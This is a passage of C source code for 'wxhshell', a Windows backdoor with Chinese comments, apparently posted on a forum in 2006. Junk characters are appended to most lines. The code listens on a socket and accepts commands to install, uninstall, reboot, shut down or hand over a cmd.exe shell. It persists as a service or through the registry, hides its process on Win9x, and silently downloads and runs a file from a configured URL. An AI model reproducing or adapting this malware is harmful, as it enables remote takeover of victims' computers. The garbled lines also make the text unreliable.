      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P|> fO'  
    break; Yv?nw-HM  
  } !}Sf?n P#  
  // 安装 >wz& {9ni  
  case 'i': { Z)?i&y?  
    if(Install()) &Kuo|=f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EZy:_xjZ  
    else S]E1+,-*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y}<w)b1e|  
    break; uhi(Gny.  
    } 8$k`bZ  
  // 卸载 _l`d+ \#  
  case 'r': { EwvW: t1  
    if(Uninstall()) 4~mYj@lvd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WmO.&zp  
    else )-D{]>8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]JQ7x[  
    break; {BkTJQ)  
    } $#3O:aW  
  // 显示 wxhshell 所在路径 G:$Ta6=  
  case 'p': { F *`*5:7  
    char svExeFile[MAX_PATH]; :fo.9J  
    strcpy(svExeFile,"\n\r"); ,$i2vGd  
      strcat(svExeFile,ExeFile); zX{O"w  
        send(wsh,svExeFile,strlen(svExeFile),0); 9 7 Oi}   
    break; PtH>I,/  
    } f{ ;L"*L  
  // 重启 ,$"*X-1  
  case 'b': { =Q\z*.5j.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xLxXc!{J5  
    if(Boot(REBOOT)) =L,s6J8_'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i2. +E&3v  
    else { %gK@ R3p  
    closesocket(wsh); !GB\-(  
    ExitThread(0); }I3 ZNd   
    } 0 rM'VgB  
    break; ;WydXQ}Q^  
    } eIZ7uSl  
  // 关机 ^HJvT)e4  
  case 'd': { p:*)rE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v:2*<;  
    if(Boot(SHUTDOWN)) D hN{Y8'~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  F#0y0|  
    else { m2%OX"#e  
    closesocket(wsh); B|\pzWD%  
    ExitThread(0); 1r!o,0!d-'  
    } M]FA y"E  
    break; C[E[|s*l  
    } Hz?C9q3BX  
  // 获取shell s|p,UK  
  case 's': { 0\qLuF[)  
    CmdShell(wsh); YkOl@l$D  
    closesocket(wsh); ]H ze  
    ExitThread(0); Sz!mn  
    break; N*J!<vY"  
  } ]]sy+$@~  
  // 退出 )4nf={iM  
  case 'x': { M)m(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;iol 2  
    CloseIt(wsh); 29a~B<e7s  
    break; &@g~o0  
    } d-GU164  
  // 离开 ,iUWLcOM  
  case 'q': { A_h|f5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \nfjz\"R?b  
    closesocket(wsh); ){-Tt`0(u  
    WSACleanup(); q mJ#cmN  
    exit(1); `S`,H  
    break; $N !l-lu=  
        } @u@ N&{b5"  
  } Ly\  `  
  } 8i epG  
y\a@'LFL  
  // 提示信息 t@#+vs@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5 )A(q\  
} A_8UPGh8  
  } P\jnht  
_*K=Z,a;\  
  return; Z<P?P`  
} |M8FMH[_  
yj:<3_-C*  
// shell模块句柄 /$z(BX/  
int CmdShell(SOCKET sock) /nPNHO>U  
{ xbVvK+  
STARTUPINFO si; 8fI]QW  
ZeroMemory(&si,sizeof(si)); <\44%M"iC-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V(lxkEu/Fj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3^jkd)xw  
PROCESS_INFORMATION ProcessInfo; M%yeI{m  
char cmdline[]="cmd"; ?* {Vn5aX{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x=S8UKUx  
  return 0; oouhP1py,  
} +69[06F  
`G@(Z:]f,t  
// 自身启动模式  1{fu  
int StartFromService(void) [Re.sX}$Y  
{ _nUvDdEs,  
typedef struct =pT}]  
{ `@_j Do  
  DWORD ExitStatus; %qycxEVP  
  DWORD PebBaseAddress; K~ch OX  
  DWORD AffinityMask; a^#\"c  
  DWORD BasePriority; MH0xD  
  ULONG UniqueProcessId; O:% ,.??<%  
  ULONG InheritedFromUniqueProcessId; q0m> NA   
}   PROCESS_BASIC_INFORMATION; b] EC+.  
xYLTz8g=  
PROCNTQSIP NtQueryInformationProcess; [=EmDP:@  
/h]#}y j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qS9z0HLE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qUS y0SQ/l  
b41f7t=  
  HANDLE             hProcess; IPVD^a ?  
  PROCESS_BASIC_INFORMATION pbi; Kggc9^ 7  
_c z$w5`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9}*Pb6  
  if(NULL == hInst ) return 0; lH%%iYBM  
tM:%{az  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S5+W<Qs  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fb=[gK#*,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c,yjsxETW  
J4) ?hS  
  if (!NtQueryInformationProcess) return 0; C j4ED  
VYo2m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +|w%}/N  
  if(!hProcess) return 0; m=4hi(g  
WC7ltw2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ML!>tCT  
6)]zt  
  CloseHandle(hProcess); |34M.YjA  
5/E7@h ,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2lu AF2  
if(hProcess==NULL) return 0; )N'-A p$g  
it.'.aK4  
HMODULE hMod; *[|a $W  
char procName[255]; =C(((T.  
unsigned long cbNeeded; BO%aCK&  
Y& p ~8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "y7IH GJ\3  
4!U)a  
  CloseHandle(hProcess); EyDH -}Y  
PAy/"R9DT-  
if(strstr(procName,"services")) return 1; // 以服务启动 FoX,({*Ko~  
AxAbU7m  
  return 0; // 注册表启动 fo"%4rkL  
} -+HD5Hc  
)JXlPU  
// 主模块 c}G\F$  
int StartWxhshell(LPSTR lpCmdLine) PNp-/1Cx  
{ VkD}gJY  
  SOCKET wsl; Q`zW[Y&]  
BOOL val=TRUE; =K;M\_k%y  
  int port=0; >Tp`Kri  
  struct sockaddr_in door; 2[X\*"MQ2  
G_E \p%L>]  
  if(wscfg.ws_autoins) Install(); 3EA+tG4KnO  
3%(BZ23  
port=atoi(lpCmdLine); ?ZAynZF|#  
4XNdsb  
if(port<=0) port=wscfg.ws_port; &Cm$%3  
%jh gKq  
  WSADATA data; G6XDPr:}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \Gm\sy  
laQ{nSVBm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C~X"ZW:d[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :>*0./hG  
  door.sin_family = AF_INET; d "%6S*dL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]j+J^g  
  door.sin_port = htons(port); ,382O$C  
le150;7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^JY,K  
closesocket(wsl); 1~ZFkcV_C  
return 1; yt {?+|tXU  
} )1E#'v12 "  
Ca}V5O  
  if(listen(wsl,2) == INVALID_SOCKET) { H{,qw%.|KA  
closesocket(wsl); ^US ol/  
return 1; >*h3u7t  
} '&!:5R59  
  Wxhshell(wsl); c2Yrg@) [  
  WSACleanup(); $)Ty@@7C  
yfZYGhPN(  
return 0; miB+'n"zS  
fo_*Uva_  
} h#}'9oA  
!-~sxa280r  
// 以NT服务方式启动 2rWPqG4e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A(D3wctdr  
{ PlRcrT"#w  
DWORD   status = 0; B'hN3.  
  DWORD   specificError = 0xfffffff; D}OhmOu 3  
Zo#c[9IaC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |.?X ov]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D zdKBJT+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K)#6&\0tT  
  serviceStatus.dwWin32ExitCode     = 0; %cl{J_}{&  
  serviceStatus.dwServiceSpecificExitCode = 0; 6){nu rDBG  
  serviceStatus.dwCheckPoint       = 0; Vs9]Gm  
  serviceStatus.dwWaitHint       = 0; :NynNu'  
+QA|]Y~!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Hn}m}A  
  if (hServiceStatusHandle==0) return; Zq{TY)PI]  
^IqD^(Kb  
status = GetLastError(); {.r #j|  
  if (status!=NO_ERROR) )S^[b2P]y_  
{ ?>DwNz^.!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <N8z<o4rku  
    serviceStatus.dwCheckPoint       = 0; F13vc~$Ky  
    serviceStatus.dwWaitHint       = 0; ?D+H2[n\a  
    serviceStatus.dwWin32ExitCode     = status; w^^8*b<  
    serviceStatus.dwServiceSpecificExitCode = specificError; srryVqgS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); : U,-v  
    return; 30b dcDm,  
  } l9z{pZ\KM  
X }Fqif4A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NL-V",gI-~  
  serviceStatus.dwCheckPoint       = 0; Y'Yu1mH)  
  serviceStatus.dwWaitHint       = 0; 5Bp>*MR/".  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9dFo_a*?  
} 3|(3jIa  
8 Y))/]R  
// 处理NT服务事件,比如:启动、停止 |4!G@-2V:I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Bejk^V~  
{ OWZ;X}x  
switch(fdwControl) .RpWE.C  
{ w"q^8"j!  
case SERVICE_CONTROL_STOP: ss4YeZa  
  serviceStatus.dwWin32ExitCode = 0; E&;;2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XB<Q A>dLh  
  serviceStatus.dwCheckPoint   = 0; P=m l;xp  
  serviceStatus.dwWaitHint     = 0; ut^6UdJ+`  
  { AWDy_11Nm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GI%9Tif  
  } 7X8n|NZRH7  
  return; 6o]j@o8V  
case SERVICE_CONTROL_PAUSE: _xGC0f (  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +J3Y}A4W3X  
  break; ]RxWypA`  
case SERVICE_CONTROL_CONTINUE: ]\F}-I[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #c(BBTuX  
  break; B:6VD /qC  
case SERVICE_CONTROL_INTERROGATE: "DSRyD0M  
  break; 9P*p{O{_  
}; 1"No~/_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $9ys! <g  
} H^JFPvEc  
KeWIC,kq  
// 标准应用程序主函数 Ee^>Q*wahw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jZ0/@zOf  
{ x\!vr.  
=a6e*f  
// 获取操作系统版本 A\v]ZN4  
OsIsNt=GetOsVer(); Hv</Xam  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n9Ktn}  
u-=VrHff^*  
  // 从命令行安装 J+=?taZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); !=?Q>mz  
}tbZ[:T{K  
  // 下载执行文件 |u.3Tp|3W  
if(wscfg.ws_downexe) { 6|Xm8,]yRw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }'4aW_ta  
  WinExec(wscfg.ws_filenam,SW_HIDE); .q'{ 3  
} ztC>*SX  
\R,8xID_t  
if(!OsIsNt) { )Pv B^n  
// 如果时win9x,隐藏进程并且设置为注册表启动 w sbzGW~=  
HideProc(); toel!+  
StartWxhshell(lpCmdLine); 8@]vvZ2/gj  
} 5UvqE_  
else Y{<SD-ibZ$  
  if(StartFromService()) 6*s:I&  
  // 以服务方式启动 -+W E9  
  StartServiceCtrlDispatcher(DispatchTable); '~E=V:6  
else c\VD8 :  
  // 普通方式启动 tJpK/"R'  
  StartWxhshell(lpCmdLine); 0W,.1J2*  
d_ji ..T  
return 0; oG=4&SQ  
}
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只看该作者 1 发表于: 2006-10-10
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